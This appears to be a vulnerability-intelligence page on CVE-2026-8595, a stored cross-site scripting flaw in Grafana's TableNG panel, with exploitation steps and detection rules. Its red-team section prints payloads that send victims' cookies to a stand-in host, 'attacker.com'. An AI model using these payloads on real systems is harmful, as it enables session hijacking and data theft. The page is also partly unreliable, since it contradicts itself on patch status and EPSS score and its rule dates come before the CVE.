☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2026-8595

CVE-2026-8595 Cross-Site Scripting in Grafana
📅 PUBLISHED: 2026-07-10 14:59 UTC 🔄 UPDATED: 2026-09-23 20:25 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.24%
👁️
0.24% probability
6.0× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Country: United States License: Freemium
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-8595 is a stored cross-site scripting (XSS) vulnerability in Grafana’s TableNG panel. An authenticated user with Editor permissions can craft a dashboard containing a malicious field name that, when viewed by any user, executes arbitrary JavaScript in the victim’s browser. This allows the attacker to steal session cookies, exfiltrate data, or perform actions on behalf of the victim. The vulnerability has a CVSS score of 6.8 (Medium) and currently has no patch available. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for Grafana instances with untrusted Editors.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Grafana is distributed as a Go binary and also via Docker images. The vulnerability resides in the frontend JavaScript code (TableNG panel). No official patch or advisory has been released by the vendor. Users should monitor Grafana’s official channels for updates and consider restricting Editor permissions or disabling the TableNG panel until a fix is available.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The attack is carried out over the network.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): Low (L) – Attacker needs Editor role.
  • User Interaction (UI): Required (R) – Victim must view the dashboard.
  • Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited ability to modify data.
  • Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. Exploitation requires authenticated Editor access and user interaction, but the stored XSS can lead to account takeover or data theft.

Deep Dive & Mechanics

The vulnerability exists in the TableNG panel, which renders tabular data from dashboard queries. When a user with Editor permissions creates a dashboard, they can define field names for the table columns. The field name is not properly sanitized before being rendered in the browser. An attacker can inject a malicious JavaScript payload into the field name, such as:

<img src=x onerror=alert(1)>

When any user (including viewers) opens the dashboard, the browser executes the injected script. This is a classic stored XSS (CWE-79) because the payload is stored in the dashboard configuration and served to all viewers.

The attack flow:

  1. Attacker logs in as Editor.
  2. Creates a new dashboard with a TableNG panel.
  3. Sets a field name to a malicious XSS payload.
  4. Shares the dashboard link or waits for other users to view it.
  5. Victim views the dashboard → script executes in victim’s browser.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// TableNG panel rendering field names
function renderFieldName(field) {
    return `<th>${field.name}</th>`; // No sanitization
}

Patched Code (Expected):

// Properly escaped field name
function renderFieldName(field) {
    const safeName = escapeHtml(field.name);
    return `<th>${safeName}</th>`;
}

No official patch has been released. The fix should involve HTML entity encoding or using a safe DOM API (e.g., textContent instead of innerHTML).

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • Grafana instance (any version with TableNG panel)
  • User account with Editor role
  • Ability to create dashboards

Steps:

  1. Log in as Editor.
  2. Navigate to Dashboards → New Dashboard.
  3. Add a new panel and select “Table” (TableNG).
  4. In the query editor, define a field with a malicious name, e.g.:
    <img src=x onerror=fetch('https://attacker.com/steal?cookie='+document.cookie)>
    
  5. Save the dashboard.
  6. Share the dashboard link with a victim (or wait for them to view it).
  7. When the victim opens the dashboard, the script executes and exfiltrates their cookies.

Example Payload:

<img src=x onerror="new Image().src='https://attacker.com/steal?c='+document.cookie">

Blue Team (Detection & Defense)

Detection:

  • Monitor Grafana audit logs for dashboard creation/modification by Editors.
  • Look for unusual field names containing HTML tags or JavaScript event handlers.
  • Use web application firewall (WAF) rules to block XSS payloads in dashboard API requests.

Defense:

  • Restrict Editor permissions to trusted users only.
  • Disable the TableNG panel if not needed (via Grafana plugin management).
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.
  • Use a reverse proxy with XSS filtering (e.g., ModSecurity).

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP requests to attacker-controlled domains from Grafana frontend.
  • Logs: Grafana audit logs showing dashboard creation with suspicious field names containing <script>, <img onerror>, or similar patterns.
  • File System: No file-based IOCs; the payload is stored in the database (dashboard JSON).
  • Memory: Injected JavaScript in browser memory during dashboard rendering.

Example IOC (Dashboard JSON snippet):

{
  "panels": [
    {
      "type": "table",
      "fieldConfig": {
        "defaults": {
          "custom": {
            "columns": [
              {
                "text": "<img src=x onerror=alert(1)>",
                "value": "malicious"
              }
            ]
          }
        }
      }
    }
  ]
}

Detection Engineering

YARA Rule

rule grafana_tableng_xss {
    meta:
        description = "Detects stored XSS payloads in Grafana TableNG field names"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-8595"
    strings:
        $xss1 = /<[^>]*onerror\s*=[^>]*>/i
        $xss2 = /<[^>]*onload\s*=[^>]*>/i
        $xss3 = /<script[^>]*>/i
        $xss4 = /javascript\s*:/i
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: Grafana TableNG Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects creation of Grafana dashboards with malicious field names (CVE-2026-8595)
author: Valters IT
date: 2025-04-10
logsource:
    product: grafana
    service: audit
detection:
    selection:
        action: "dashboard.create" or "dashboard.update"
        body|contains:
            - "<img"
            - "<script"
            - "onerror="
            - "onload="
    condition: selection
falsepositives:
    - Legitimate use of HTML in field names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"Grafana TableNG Stored XSS Payload Exfiltration";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/steal?c="; http_uri;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Restrict Editor permissions to only trusted users.
  2. Disable the TableNG panel if not required (via Grafana plugin settings).
  3. Implement a Content Security Policy (CSP) with script-src 'self' to block inline scripts.
  4. Use a web application firewall (WAF) to filter XSS payloads in API requests.

Long-Term Fix:

  • Apply vendor patch when released.
  • Upgrade to a patched version of Grafana.
  • Conduct code review of custom panels for similar vulnerabilities.

Workaround:

  • Modify the Grafana source code to sanitize field names (if self-hosted).
  • Use a reverse proxy to strip HTML tags from dashboard API responses.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-8595/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.